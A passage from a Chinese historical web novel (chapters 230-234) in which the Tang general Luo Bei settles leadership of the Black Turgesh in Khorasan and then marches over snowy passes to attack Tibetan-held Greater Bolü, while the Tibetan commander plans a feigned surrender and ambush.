三日后,洪济城南门突然响起震天战鼓。李嗣业凭着夜色一路奔到山上,居高临下,亲率陌刀队强攻洪济城头,吐蕃守军慌忙调集兵马与他作战。 与此同时,慕容曦光带着三百死士潜至水门,看着随波逐流的“冰棺”缓缓卡进水闸——这些冻着火油的冰坨将在正午阳光中融化,把吐蕃人的命脉变成火河。 正午时分,第一声爆炸从城西粮仓传来。慕容曦光望着腾起的黑烟,突然想起离开凉州时,洛北往他箭囊里塞的那把波斯弯刀。刀柄上嵌着的蓝宝石在火光中熠熠生辉,宛如暗夜中永不坠落的北斗。 在他身侧,哥舒翰已经高声呼喝:“儿郎们,同我冲啊!” 在他身后,大唐军队如离弦之箭,冲向洪济城的方向—— 230-240 第231章 “难道说将军当年西征吐火罗时设立葱岭守捉,为的就是今日?” 捷报送到洛北手上时, 已经是数十日之后。那时,他已在呼罗珊,正在毡帐外与黑姓突骑施的一众部族子弟谈话, 一片空地上挤满了黑压压的人头, 争吵的声音能吓走一行飞鸟。 正在人们争论得僵持不下之际,金雕穿破层云,落在了他的肩上。 他从金雕的爪中取下纸条,只看了一眼,就递到一边, 给了百无聊赖的王训和骨力裴罗,两人读过字条,瞠目结舌地望他一眼, 也不敢多问,一道转身凑在一起研究起地图来了。 当值的亲卫叫浑释之,也是出身凉州的铁勒首领之子, 见他们研究得起劲, 目光已偏了几回。洛北喊他几声都不见回应,只得笑着摇了摇头: “罢了,不说凉州部族的事情了,诸位, 如果你们实在定不下来这个暂代首领职务的人选,那我也可以指定一位。” 他说这话时声音并不大, 但为了这个代首领之位争得面红耳赤的黑姓突骑施子弟们都停了下来,众人面面相觑几回,还是有个老人在众人的目光之下出来说话: “大汗打算给我们指哪一位首领?莫不是黄姓的莫贺达干吧?” 洛北轻轻摇了摇头:“莫贺达干离这里有千里之遥, 又素与黑姓不和,我不会这样干。” 他指了指与浑释之侍立在一侧的波善活: “他是吐火罗叶护的养子, 波斯王族的后裔,苏禄死后,他会继任波斯都督一职,驻地就在木鹿城。如果你们愿意,可以让他代任首领一职。” 波善活被他这样一指,顿时浑身紧张起来,他将胸膛挺了又挺,生怕这一点颤抖被人们看见。 可他这小小的努力全然不见成效,那几个闹得最凶的黑姓突骑施部长老一看他高高的鼻梁和棕色的眼睛,就对洛北大呼小叫起来: “不行,不行,他都不是突骑施人,怎么能做我们的首领呢?” 波善活正要张口为自己辩解,洛北却已经把手放在了桌上,轻轻一敲,声音不高也不低:“我也不是突骑施人,但我是统领碛西草原的大汗。” 此话一出,黑压压一片的草原上顿时寂静一片,先前几个开口的长老跪倒在地,一个字也不敢多说。 洛北以那双金棕色的眼眸扫过众人,正要开口说话,波善活却抢先一步跪在他面前:“伯克!” 他说的突厥话里还带着一点执拗的波斯口音,但这一句已经让不少黑姓突骑施的长老抬起了头。 “我想请伯克代领黑姓突骑施首领职务。”波善活温声以突厥话道,“我愿驻留呼罗珊,从旁看护。” 毡帐外的风裹挟着细沙拍打帐幕,洛北的手掌仍按在案几上,他垂目看着跪伏在地的波善活: 以洛北的声望压制黑姓突骑施部,自己不领其名,而行其职——这四两拨千斤的手段,也不知道眼前这个波斯青年从哪里学了来。 片刻的沉默过后,洛北望了一眼黑姓突骑施的一众长老:“你们的意思呢?” 其中一个中年汉子扶着弯刀站起了身:“如若大汗代行此职,我们自然愿意,但是如若这小子在木鹿城倒行逆施,拿我们的族人给波斯人垫脚,我们怎么办?” “就是!呼罗珊本是杂处之地,怎么能让他从旁督抚?!” 眼看着人声再度鼎沸,波善活骤然起身,回头看着众人,高声以突厥话喊道: “我不会这么做!” 先开口的那汉子面向他诘问道:“可我们凭什么信任你?” “凭我也曾同突骑施人一起在沙漠里放牧,在冬窝子里挨冻。凭我知道突骑施人需要的面粉和盐巴来自哪个磨坊。凭我能调动木鹿城的商队,也凭我曾经,现在,未来都将为呼罗珊浴血奋战!” 波善活说到此处,突然以额触地,波斯长袍在青草间铺展如孔雀开屏:“请伯克与无上的圣火共同见证,我愿立下血誓!若有差池……”他拔出腰间嵌着青金石的匕首,寒光割裂暮色,“当命丧此刃之下!” 众人都静了下来,各个望着他。洛北上前一步,自他手中接过匕首,向上举起:“我愿作为此誓之见证。另外……” 他解开腰间的七宝蹀躞带掷于案上,“此带随我征战数年,今日留在木鹿城。来年开春若商路不通、牛羊不肥,诸位可以拿它到碎叶来寻我,也可以熔了这些金玉换作粮草。” 几部的子弟都要上前争抢,但碍于洛北立在跟前,冲到跟前时又悻悻退下,立在他下手处,不敢说话。 洛北取过腰间的佩刀,割断穿系的皮带,将蹀躞带断为数段。交由几个长老各执一段:“往后金山拜山,你们每年依次参加。” 众人对视一眼,脸上都雀跃起来——亲往金山拜山是何等荣幸?他们和后世子孙竟都有机会亲历! “多谢大汗!不,多谢伯克!” 众人一阵欢呼雀跃,便又有善于察言观色的首领商量起晚上的宴会……洛北把这些事宜尽数交给波善活去处理,自己转身走进亲卫扎堆的大帐之中: “怎么,可研究出些名堂来了?” “大汗,我有想法。”骨力裴罗迫不及待地开口,“我们应当率军一路南下,在于阗休整之后翻越昆仑山,而后一路向东南,直取逻些城!” 他手指在舆图上一划,正划到吐蕃赞普居住的都城中央,洛北看着他骄傲模样,忍不住轻轻笑了: “这是一个擒贼先擒王的好办法,可是骨力裴罗,我们劳军远征,逻些城的吐蕃赞普却以逸待劳,倘若败了,怎么办?” “这……”骨力裴罗考虑此计时,还真没考虑过“失败”二字,“有大汗领兵,我们是不会失败的!” 洛北面色沉静:“如果我一定要你假设呢?假设后援不继,假设敌人回援的速度太快,假设我们未能如期攻占逻些城。” 骨力裴罗苦思冥想片刻:“那我们就一路后撤,一路夺取高原上的其他牧场为给养!” “倘若别人坚壁清野呢?”洛北步步紧逼。 骨力裴罗抗不过他的追问,败下阵来,他满面通红,忍不住伸手挠了挠头:“是我考虑不周……” 洛北摇了摇头: “不,这是个很好的方案。但要实行此方案,要有两点前提,其一,吐蕃内斗已经严重影响了赞普的权势,他无法将政令送出逻些之外。其二,我只是西突厥十姓可汗,不是大唐的将军。” 骨力裴罗“啊”了一声:“我明白了,一要吐蕃赞普失势,逻些城才会孤立无援,适宜我们奇袭。但这二是……” 王训看了一眼洛北,见他不打算开口,才低声道: “这样的计策需要的是时间。如今朝中军令如火,陛下的手书都寄给了将军,哪里还能给我们迂回绕后的时间?” 骨力裴罗想不出办法,本就有些烦闷,听他一说,忍不住撇了撇嘴:“那你说,这仗要怎么打?” “河湟。”王训沉吟片刻,才开口道:“如今吐谷浑首领慕容曦光与哥舒翰先下了洪济城,我们应当追胜追击,攻占河湟谷地,善加经营。” 他说着说着,也忍不住一笑:“可我们现在在呼罗珊,回身河湟是奔袭千里,实在是帮不上忙啊。” “要不试试自西出蜀地如何?”浑释之走了过来,手中还拿着半块馕饼,他一边咬馕饼,一边含混不清地用汉话说:“自益州出发,一路西行,在雅州与吐蕃大战一场。” “得亏你没往后说。”骨力裴罗敲了敲舆图,“你这舆图课一看就没好好听,西去多是陡峭的群山,我们的军队多是骑兵,哪里能翻越?” 一时气氛热烈,大帐内的一众亲卫都说了几个想法,但终是没有万全之策。只听得叽叽喳喳的声响。 洛北抱臂在他们身侧听了一会儿,终于走过来,将手指停在地图西陲。 金雕尾羽扫过的图卷上,大小勃律的墨迹被风沙磨得发白。 “你们看这个地方。”洛北温声道,“像不像吐蕃伸向西域的爪子?” 大小勃律素与吐火罗等地往来甚多,虽然没有向大唐宣誓效忠,但也是使节频频。可如果这两国都倒向吐蕃—— 王训突然倒吸冷气:“若吐蕃在此囤积军资,西可断我们与波斯都督府和河中都护府的联系,东能威胁安西四镇”他指尖划过葱岭的褶皱,似乎是看到了什么不可置信的事情一般: “难道说将军当年西征吐火罗时设立葱岭守捉,为的就是今日?” 满帐亲卫的目光都投向洛北,有敬佩,有惊讶,也有……不可置信,更多的是欣喜,兴奋,他们在期待这位算无遗策的主帅带领他们赢下下一个干脆利落的胜利。 洛北轻轻笑了:“是,当年我设立葱岭守捉,确实是从这一点上考虑的。而且,我挑选的驻守护密和葱岭守捉将军皆出身吐谷浑部族,与吐蕃有亡国之恨。” “但是。”他声音转沉,像是风声拂过松谷,“此战我们不可能直取逻些城,也不可能像你们很多人预想的那样,平灭吐蕃。” “为什么?!”这次却是王训率先开口,一贯沉默内敛的少年人红了眼,“难道世间还有您打不赢的仗吗?” 第232章 “我偏要用这些雪山锁住他们的国运——” 波善活从外间掀帘而入时, 看到的便是这番场景,帐中一片寂静,只有王训攥着拳头与洛北相对, 帐中的四只牛油大烛熊熊燃烧, 发出轻微的声响。 他小心翼翼地看向洛北,只见他脸上一片无悲无喜的平静神色,岳峙渊停,毫无动摇。 “伯克……”他迟疑片刻,才以手抚肩向洛北道礼:“黑姓突骑施的族人们……” 他话音未落, 洛北已经看了过来,一双眼眸灿如流金,他未收气势, 当即压得波善活只敢闭嘴不言。 帐中牛油烛突然爆了个灯花,王训率先松了气:“将军……家父就是……您叫我怎么能……”他哽咽着说完前半句,眼泪就已止不住地流了下来。 洛北轻声开口, 声音温煦:“家仇国恨, 谁能忘怀?可是行军打仗,是要讲时机的。” 他抬眼看着地图:“如若三年前陛下准我四下出击,吐蕃太后摄政,各家心怀鬼胎, 尚可以夹击逻些城,以求灭国之功。” “现在, 太后病逝,赞普年幼。各大家族斗而不破,正需要一个外敌来凝固军心。”洛北看着帐中众人:“此刻再大举入侵, 只会让他们抱团取暖。这便是兵法里说的‘哀兵必胜’。” 帐中众人都低下头来,一时之间寂静得吓人, 几乎还能听到王训眼泪砸在地毯上的声响。 洛北扶起他的肩膀,替他擦了擦眼泪:“但你我并非什么事情都做不了。你们看,这几条大雪山像什么?” “像像佛经里的金刚杵?”浑释之迟疑道。 “不,是锁链。”洛北敲了敲桌面,“吐蕃自恃以雪山为天险,向下俯攻,事半功倍。我偏要用这些雪山锁住他们的国运——” 他望了一眼众人,“此战,就是要把钥匙从锁链上拔出来!” 王训不甘心地向前一步:“但是将军,若取了大勃律国,为什么我们不能趁着胜势直捣黄龙?吐蕃人也未必敢直面我军锋芒!” “因为我们不是吐蕃人。”洛北看着他,神情里带着一点肃穆,“等你登上雪域高原,你就明白了。吐蕃人的牦牛队可以横穿无人区,他们的重甲步兵踩着冻硬的青稞壳子冲锋——这些,是你我做不到的。” 少年踉跄后退半步,目光依旧如火。他张了张口,又什么都没说出来。 洛北把他的不甘看在眼里,却已转向东面:“浑释之,曦光的骑兵此刻应该到赤水城了,飞鸽传书给他,在达扎恭禄的军队到达大积石山之前,通过骆驼桥。” 骨力裴罗突然大笑:"我明白了!剑南道陈兵十万虚张声势,河湟军佯攻吸引注意,真正的杀招"他手指戳向西端舆图,“大勃律!” 洛北笑了,他取出炭笔,在地图上画了个圈,墨迹沿着勃律国的轮廓晕染开来,宛如雪地上绽开的墨莲花: “传我军令!全军准备!我们要去取吐蕃赞普王冠上的明珠了。” 帐内欢腾一片,连架上的金雕都闻战则喜,飞出帐顶天窗。月光如银瀑倾泻在洛北身上,一片光晕之中,他向王训伸出手:“拿下大勃律,吐蕃西道就会断流。” 洛北轻轻用力,把他拉了起来,“你父亲没走完的道路,你代他走完;他没能看到的日出,你代他去雪山之巅看。” 王训嘶声问:“可是将军,长安里……” “陛下已经手书责我出兵,便是姚相公,也不能说什么。”洛北微微一笑,将一张牡丹票据在他面前一晃,“再说,我已经为这次征战找到了补给。” 这夜的宴饮结束之后,波善活在山坡上找到了闲坐的洛北,他和这些黑姓突骑施的首领喝了一轮又一轮,直到把大部分人都喝倒在地,才脱身而出。 “我听河中都护乌勒伽说过伯克的规矩,宴饮尽兴,有人醉倒则停。”波善活在他身侧坐了下来:“怎么今日喝了这么多轮?” “就任首领的人,不把他们的名字都记住怎么行?”洛北显然喝得比平时多,已有几分醉意:“如何?这些首领听说准许他们收容牧民,自编一部,都高兴得不得了吧?” 波善活点了点头:“我还是没明白,伯克为什么要把黑姓突骑施部打散呢?我放过牧,深知那样的日子何其辛苦,要是有个部族统领会好得多。” “因为如果我不这么做,他们就会一直觉得自己是黑姓突骑施人。”他抬头看着漫天的星河,“但我更希望他们觉得自己是波斯都督府下的唐人。” 波善活“啊”了一声:“可是……牧民已经习惯了有个部族来保护自己。” 洛北轻轻打断了他:“我也从来没有指望过在草原上建立郡县。我只希望打破一个旧的共识,再建立一套新的共识罢了。” 他站起身,拍了拍身上的草根和尘土: “或许百十年之后,他们会称自己为波善活部或者乌特部的子弟。谁知道呢?” 波善活不好意思地笑了:“我怎么能和您相比。” “声望不是说出来的,是做出来的。我把呼罗珊和黑姓突骑施部交给你,你可要给我看好了。”洛北正色道,“缺钱缺人都可以去河中找乌勒伽和吴钩要,一年之后,我要在碎叶看到你带着求学的子弟们来。” 波善活郑重道礼:“遵命!” 这一年是隆熙二年,春暮时分,洛北率军自呼罗珊出发,南下吐火罗,与驻守护密的叶若会师,他们眼前的便是一道大雪山——坦驹岭。 洛北望向远处云雾缭绕的崇山峻岭,冰川裂隙如同天神劈砍的刀痕。饶是夏季,这冰川依旧没有融化的迹象。 吐火罗国相捺塞特意派出五百惯行雪山的士兵替他们前驱而行,他们用牦牛和马匹驮着给养,自己拿着木杖在最前面探路。 “这探的是什么?”浑释之好奇问。 洛北接过亲兵递来的青稞饼,掰碎了泡在雪水里:“路。有些路化了冻就不是路,而是一片沼泽。”他突然顿了顿,将半块饼子塞给身旁瑟瑟发抖的粟特青年:"吃,吃饱了才扛得住罡风。" 行军第六日,他们遭遇了一场暴风,暴风裹挟着山谷间的河水,水花随即奔涌,浪花打湿了岸边士兵的皮袍。 洛北把牲畜队调在一处,紧紧地把士兵和辎重围在圈中,自己解下披风系在杆上,金线绣的麒麟几乎在狂风中狰狞欲活,高声下令:“击鼓!击鼓!” 十步一鼓,便是操练时前趋的信号。有鼓点稳定军心,众人总算翻过山口,在稍缓的坡下休息。 天色一暗,骨力裴罗的眉梢上都结满了冰晶。他看着前面的冰壁叹息片刻:“这吐蕃高原,也太难上了……” 洛北将腰间那把青金石匕首插进冰壁:“此地不算高,再高一些,会觉得呼吸困难,浑身难受。” 他说着,忽而暴喝一声:“让开!” 话音未落,雪峰传来闷雷般的轰鸣。骨力裴罗被洛北拽着滚下冰坡的瞬间,一人高的雪浪吞没了他们方才站立之处。 王训在雪堆里爬出来时,正看见洛北用佩剑撬开冻硬的箭囊——三支鸣镝箭竟在雪崩前发出了预警: “您怎么知道……” “冰川自有其声响。”洛北掸开雪沫,“只要在此地生活过,就能感知。看。” 他突然指向南方的一座大城,“那里就是小勃律的阿驽越城了。” 阿努越城外,已有数十骑翘首以盼,见唐军大旗飞扬,连忙跪地道礼。 大小勃律本是一国,因吐蕃西侵,勃律人随王西迁,重新建立了小勃律国。 小勃律国国王没谨忙早已听闻大唐天军即将到此,喜不自胜,早早派人前来迎接,他一边将准备好的物资尽数送给唐军劳军,一边向洛北哭诉吐蕃的强凶霸道。 洛北一边听他哭,一边正色以吐蕃话道:“我可以出军帮助国王回归故地,可是我有一个条件。” 他的吐蕃话里多少带着一点汉话的口音,倒把没谨忙的三分疑虑打消不少,他连忙道: “请郡王开口无妨。” “孽多城及大勃律诸地皆有农田,洪扎河谷更是物产丰饶之地。”洛北道,“我欲屯兵一千于此,拱卫勃律,可乎?” 没谨忙连忙道:“大国若能发兵助我,是小王的荣幸。只是郡王,吐蕃人兵马强横,一千兵马,够吗?” 洛北先是一愣,终于忍不住笑了起来:“打胜仗不在兵马众多,而在于能战敢战。本王此次出征,也不过带了三千兵马而已。” 没谨忙更加着急了:“郡王,吐蕃在大勃律可有数万之众,您只带三千兵马,怎么能够打得过他们呢?” 洛北笑道:“我出兵之前,已经派出使节召葱岭守捉使叶若,屯驻护密的绥远军使叶延和疏勒军使高仙芝会师孽多城。想必他们不日就要到了。” 没谨忙心下稍安,又不住地拽着他喝酒劝酒,洛北本不愿在这高原之地喝酒,但也心知酒场如战场,只得把一众作陪的小勃律官员首领都喝倒了才罢。 王训那日当值,见他已有醉意,忙寻了个空子扶他回房休息。洛北笑了笑,没有拒绝他的好意。 王训一路把他扶到卧房,又给他端了一壶茶来:“将军喝些茶水吧。” “我还没有醉到如此地步。”洛北看着他,眼中带笑,“怎么,有话要说?” 第233章 “等到吐蕃军队一败再败,等到王国的产出无法维持人们的生活,等到庶民与奴隶的愤怒化为干燥的松木,只要一点火星,就能燃起滔天大火。” 洛北双目如有明辉, 看得王训不敢抬头。少年人踌躇片刻,才深吸一口气:“我来向您认错,将军, 之前是我任性了。” 行军半月有余, 一路风霜雨雪、高山峭壁,实在艰难。若不是洛北只带了素来对他敬若神明的亲军前行,只怕半路就有哗变的危险。饶是随着父亲在河湟前线待过的王训,也不得不承认,想要从此处进攻更高处的吐蕃实在缺乏可行性。 说出这句话似乎花了王训莫大的力气, 他一说完就低下脑袋,等着洛北训斥他。 洛北却轻轻笑了:“就这句话?” 王训瞪大了眼睛,不可置信地望着洛北:“您不打算追究我……” “大帐议事, 本就是可以发表观点的场合。”洛北轻轻把茶杯往一边一放,“还好,你不是在我升台点将的时候说的那些话, 否则军法之下, 岂能容你?嗯?” 他说到后半句时,自己也忍不住笑了起来。王训本是踌躇满腹,被他这样一笑,也忍不住低头笑了。 片刻之后他才抬起头来, 眼睛亮晶晶地望着洛北:“将军真的没有想过如何拿下吐蕃?” 窗外的一片深沉的蓝透过窗子投入室内,洛北拍了拍床沿, 示意王训坐下: “当然想过,我比你稍长些的时候,曾经在吐蕃住过一段时间。那时我常与那些庶民奴隶们待在一起, 替他们治病解忧,吐蕃贵胄压迫之苦……你我是无法想象的, 有许多人,还未出生就背着重重的赋税和债务,稍有不顺,便会遭到割舌挖眼,截脚断手的酷刑。我当时就想,吐蕃暴虐如此,其国祚安得长久?” 王训一时没有反应过来:“将军是说军事,还是说政治?” “政治军事本是相辅相成。”洛北道:“你前些日子不是学过《孙子兵法》中的‘势’篇么?背来我听听。” 王训哪能想到他在这万丈雪原的山谷之中突然考教学问,大脑里是一个字都想不起来,只得把心一横,磕磕绊绊地背起了兵书。 等背到“故善战者,求之于势,不责于人,故能择人而任势。”时,王训终于叹了口气:“将军的意思,我大概明白了,就是说若要平灭吐蕃,光靠外部的军事是不够的,还得从其内部的政治下手?” “孺子可教啊,王训,吐蕃、突厥这样的大国但凡灭亡,多是从内部开始。”洛北从床头拿出一卷舆图,展开在王训面前,手指沿着积石山划向西北:“自此向西,本有数个部族,有你熟悉的吐谷浑部,有苏毗女国,还有象雄王国等,现在它们都为吐蕃所并,土地变为战场,百姓驱为役口……” 王训看着洛北在羊皮地图上勾画的墨迹,雪松燃烧的噼啪声里,那些线条仿佛活了过来。 “此任赞普之前的赞普杜松芒波杰便是死于内乱。因此我们要定吐蕃,必须先与这些部族取得联络。”洛北温声道。 王训点了点头:“就像大唐拉拢铁勒各部一样。” “是啊。”洛北点了点头,又轻巧地在逻些城上画了个圈:“雪域高原多的是无法住人的瘴疠之地,吐蕃控兵六十万,靠的是陇右的麦种,西域的武器与铠甲,还有中原的丝帛绢布……”他的手指停在牦牛河的位置:“断其五指,不如掐住咽喉。” 帐外传来更漏声,巡夜的士兵踩着泥土走过。王训望着洛北,忽而想起在碎叶市集里见到的吐蕃商人:“将军支持牡丹钱庄,也有为吐蕃战事的考虑吗?” “首先是为了安定西域,其次是为了畅通丝路,至于吐蕃,战事不是结束,而是开始。我最期望的,还是——” 他忽而顿住话头,披衣起身,拉开房门。挤在最前面的骨力裴罗头一个摔了进来,而后是七八个年轻的近卫和亲兵们,浑释之压在最后,见势不妙转身要走,洛北却招了招手:“都听到这会儿了,进来吧。” 骨力裴罗讪讪地笑了,他小心翼翼地爬起来,拍了拍一身尘土,规矩地与那七八个年轻的亲卫站成两排,垂手听训。 王训忙站起身,也站到骨力裴罗身前:“请将军息怒。” 洛北扫了一眼这群大气都不敢出的混账小子们,从火上拎起铜壶往茶盏里注水,升腾的热气模糊了他英俊的眉眼:“大半夜不睡觉,跑到我帐外来做什么?” 领头的几人左顾右盼,最终还是王训顶着洛北的目光开了口:“将军,他们也是担心我” 洛北微微挑眉:“难道我会杀了你?” 一众亲卫各个低头不言,骨力裴罗却忍不住和身边的浑释之对了个眼神,他们这位大汗到底对自己有什么误解,以他百战百胜,攻无不克的盛名和一贯杀伐决断的性格,他们担心他拿王训军法从事才是正常的。 “好了,都不要站着了。”洛北将茶汤分作数盏,递了一盏给王训:“后半夜是你巡夜吧?” 王训接过铜碗,杯壁温热,烙得他掌心发烫,脸也发烫:“是,我与程千里今夜守后半夜。” “喝杯浓茶,免得犯困。”洛北将一盏盏茶递了出去。众人这才注意到,将军分茶时竟记得每个人口味——给王训的茶里多放了两颗红枣,给骨力裴罗的特意滤去了茶末。 “方才说到何处?”洛北吹开自己茶盏中的茶沫,眼底映着跳动的火光,“是了,我最期待的是——” “风起于青蘋之末!” “等到吐蕃军队一败再败,等到王国的产出无法维持人们的生活,等到庶民与奴隶的愤怒化为干燥的松木,只要一点火星,就能燃起滔天大火。” 王训浑身一震,突然明白为何将军坚持在冰天雪地里携带大量药材。帐外呼啸的北风里,似乎传来锁链拖过冻土的声响,那些被吐蕃贵族驱赶着修筑工事的奴隶,此刻正瑟缩在漏风的帐篷里。 “但这些不是一朝一夕之功,是吗?” “当然,要是还有一点点活下去的希望,老百姓就不会轻易造反。”洛北道,“所以我们要有人去帮助他们,教化他们,最后,带领他们……就像——” “就像伟大的乌特特勤在草原上所做的事情一样。”骨力裴罗眼前一亮。 “知道了还问?”洛北看了一眼众人:“你们的吐蕃话么?也就两个吐谷浑家的小子说得还过得去。至于了解吐蕃民情更是无稽之谈了。等你们谁能说清楚所谓‘内四族’是哪四族,苏毗、象雄等地民风有何不同再来和我请命平灭吐蕃吧。” 他这番乱石铺路,算是把一众亲卫都打了下去,众人都不敢抬头,各个垂头丧气地应了:“是。” “现在,除了负责巡夜的人,都给我去睡觉!”洛北提高了声量:“后天到达孽多城时,你们都要去娑夷水上修浮桥。” 孽多城正是小勃律国都,其城临于娑夷水上,隔着藤桥与大勃律国相望。要打大勃律,非要渡过娑夷水不可。而修筑这样的水上工事——几乎是工事中最辛苦的那一项。 王训率先拍了胸脯:“请将军放心。” “你小子别说大话!这浮桥你一个人修不起来!”骨力裴罗抱拳:“请大汗准许我这几日去找工匠研究研究这浮桥架构。” “可以。”洛北点头,“但不许误了巡防之事。” “大汗我也去!”“还要设置弩箭阵地!” 他们嬉嬉闹闹了一番,才各自走出房门,洛北在他们身后合上门扉,重新将一卷舆图收回床头,窗下还能听到他们的谈话声。洛北望着窗外微亮的天色,忍不住笑了: “还敢任性一把,也是个难得事啊……” 三日之后,孽多城。 孽多城头的灯火在暮色中次第亮起,将城楼上的唐军大旗与黑底的飞鹰旗照得流光溢彩。洛北信步走过城楼上,望着河谷间蜿蜒如蛇的娑夷河,王训和骨力裴罗等一干亲卫都站在浅水里帮忙,此刻两岸已架上数道浮桥,众人正商量着强弩的位置,你争我往,讨论得好不热闹。 “大帅倒是一如既往,治军严明。”身旁有人低头道礼,“实在令某心生敬佩。” “高仙芝。”洛北转过身,抬手免了他的礼,“疏勒军来早了一日。” 一别经年,高仙芝那张秀美的面容在陇右风霜里磨出了几分成熟稳重。洛北更是服紫配金,华贵威严的大唐郡王。高仙芝低垂眉眼,没有和他对视: “这一路处处都有当地的部族子弟前来迎接。所以来得快些。将军到孽多城多久了?” “三日不到。”洛北给他指了指不远处的大勃律边城,“斥候消息,吐蕃援兵已经出发,最快明日下午就要与我们隔河对峙。” “吐蕃主帅是谁?”高仙芝忙问:“吐蕃大论乞力徐与吐谷浑王子坌达延墀松,大将达扎恭禄等人皆在河湟,吐蕃赞普不会自己来前线和我们对峙吧?” “赤德祖赞连二十岁都不到,吐蕃王家可不敢让他离开逻些城太远。”洛北摇了摇头:“来的是出身他祖母家族没庐氏的尚·赞咄热。多年之前,我们曾经在长安交过手。” 他们说话之间,王训已经上台来禀报:“将军,浮桥已经架好了。” “我们去看看吧。”洛北打了个手势,示意高仙芝与他同行:“另外,告诉叶若和叶延,全军修整,预备明晨渡河!” 第234章 那位金色眼眸的唐军主帅正在河中,见吐蕃人拿起牛角大号,抬手便飞来一箭。 顺着娑夷水一路向东南, 进入一片平坦河谷,便是大勃律首都贺萨劳城。 比起小勃律,此地地势更加平坦, 气候温煦, 两岸农田遍地,麦苗正在夏日的微风里飘荡着。再过月余功夫,便到了收割的季节。 此时农田内无人劳作,城中一片人心惶惶。尚·赞咄热独坐在佛堂之内,赞普亲赐的弯刀供奉在佛前, 刀柄的红宝石正对着画中降三世明王的三目,在一片幽暗中泛着红光。 “唐人一定得到了魔鬼的帮助。”他看着桌上的军报,喃喃自语道。 数日之前, 洛北率军于清晨时分强渡娑夷水,河滩上的吐蕃军队发现时,其前锋部队已经渡过一半, 那位金色眼眸的唐军主帅正在河中, 见吐蕃人拿起牛角大号,抬手便飞来一箭。 那支鸣镝破空如刃,直直打在号角上,冲力让号手连带号角一道坠下河水。他于波涛之间勒马起扬, 破晓的天光里,吐蕃人只记住了他的眼睛—— 那是一副修罗降世般的场景, 吐蕃的滩头部队不战而退,唐军轻骑沿着撕开的口子蜂拥而入,洛北的金瞳所及之处, 吐蕃引以为傲的重甲步卒竟如麦浪般倒下。 片刻之间,河滩之地就被唐人攻陷。岸头的吐蕃人想要出兵援助, 却被弩箭压得根本抬不起头。 一个上午,大勃律的边关便已经沦陷在唐人军威之下。 其余各城闻及此事,皆以为唐军天命在身,有神相助,不可匹敌。洛北使者所至之处,沿路城池皆望风而降。 不到数日,唐军前锋部队已达大勃律都城贺劳萨城外五十里。他们在此扎营,并派出使节,以洛北的亲笔信要求尚·赞咄热投降。 这位年纪轻轻便有战神之称的年轻将军在信中道: “昔年长安,吐蕃蒙天恩,得许公主,唐蕃义同一家。而今盟约墨迹未干,便兴兵犯边,意欲何为?念及旧谊,望尔速降!” 尚·赞咄热第一次读到此信时,简直怒不可遏,立刻就要点兵去袭唐军大营。但起身之时,这把吐蕃赞普所赐的宝刀打在桌腿上,别了他一下。 便是这一下,叫他突然醒悟了过来,袭击唐营除了引来唐军反扑没有任何好处,要想拿下那号称战无不胜的洛北小儿,只有一条,那就是在战场上击败他。 有人走进佛堂之中,打乱了他的沉思。他见来人是自己选择的信使——大勃律王苏弗舍利支离泥,也就懒得抬头,只屈指弹了弹案上羊皮信笺,银护指叩在沉香木上发出沉闷回响。 “把降书拿给唐人。” 跪伏在地的大勃律王苏弗舍利支离泥浑身一震,镶满绿松石的蹀躞带扣碰得叮当作响:“将军明鉴,那碎叶郡王用兵如神,诈降” “他自起兵以来,未尝一败,这样的人,怎么会识破我们的计策。” 尚·赞咄热冷然一笑,他突然抓起案头金刚伏魔杵,将铜铃般的眼珠凑到大勃律王面前。明王壁画下的阴影爬上他半边面孔,让他陷入半片灰暗不明之中: “我就要他为自己的自负付出代价,要这贺萨劳城成为他的埋骨之地!” “记住,让你的奴隶们驱赶牦牛群埋伏在东侧雪坡,多备浸油草料。等唐军追着诈败之兵入谷”他一掌按在降书之上,掌心遮住了“乞降”二字,“若有人误了事,把他全家都喂给獒犬做粮食!” 佛龛下的青铜香炉腾起青烟,隐约现出地图上贺劳萨城外的地形,山谷之中冰河蜿蜒,正是一条死路。尚·赞咄热突然抓起弯刀劈向香炉,火星迸溅中铜炉裂作两半,未燃尽的龙脑香散落满地。 “传令各军,凡斩获洛北首级者,我赏他两个庄园!”他望着壁画中踏象而战的明王大笑,“就让雪山之神见证此战胜负,看看是他唐人的陌刀利,还是我吐蕃的火焰烈!” 六月的日头正烈,娑夷水畔的砾石被烈日烤得发白,洛北解开领口的鎏金扣,看着不远处:蒸腾的热气让对岸贺萨劳城的轮廓也扭曲起来。 他抄起清水洗了洗手,回头望向不远处的高仙芝: “尚·赞咄热还是没有消息么?” 高仙芝策马上前,他铁甲内侧的丝袍已经被汗水浸透:“郡王还在等吐蕃人投降?我看大勃律人暴动的可能性都比尚·赞咄热投降的可能性大。” “贺劳萨城在高原山谷之间,若要围城,只怕要一年半载才有下文。” 洛北的目光扫过四周崇山峻岭的雪顶,冰雪在日光照射之下融化为水,涓涓细流沿山而下,最终汇入他们眼前的这条娑夷水中: “吐蕃在此城中囤兵万余,百姓奴隶更是有数万之多。一旦围城,哪怕城破之后,你我也会面对一片人间地狱。” 高仙芝沉吟片刻:“我听闻将军在河中时,曾以正面军队为佯攻,暗中布置军队绕路奇袭,此计可行否?” “周围山坡陡峭,恐怕不太好爬吧?”洛北有些犹豫。 “若将军肯信任我,我愿为将军带队冲城。”高仙芝忙一手抚胸,赌咒发誓道,“若不能破城,我绝不回来。” 洛北摇了摇头:“不是我不信你,河中之战时,大食兵力看似优势,实际军队分散。以多击少,此计可成。但如今敌众我寡,用这个计策,只怕……” 他伸手擦了擦额头上的汗珠,却似乎闻到什么味道,重新蹲下掬了一捧河水:“你闻闻,这河水里是不是有股腥臭味道?” 高仙芝照着他的样子嗅了半天,也没发现什么问题:“大帅是指什么?” “血腥气……”他抬头仰望,目光扫过各处山峦。这河水来自群山之巅,怎么会染上血气? 他忽然抽出腰间佩刀,雪亮刀光惊起芦苇荡中一群沙雀。 “传令你麾下部队,穿上昨日缴获的吐蕃战袍。” 次日正午,贺萨劳城的大门轰然洞开。两队骑兵护送着大勃律王前往唐营中请降,洛北却要求吐蕃尽出军中辎重,并全盘撤出勃律国国境才肯接受尚·赞咄热的投降。 大勃律王面露难色:“郡王若是不愿接受投降,又何必写那封信去给尚·赞咄热?若是愿意接受投降,又何必为难他一下?” 叶若正在洛北身边当值,闻言双目如火:“他一个败军之将,也配和我们谈条件?” 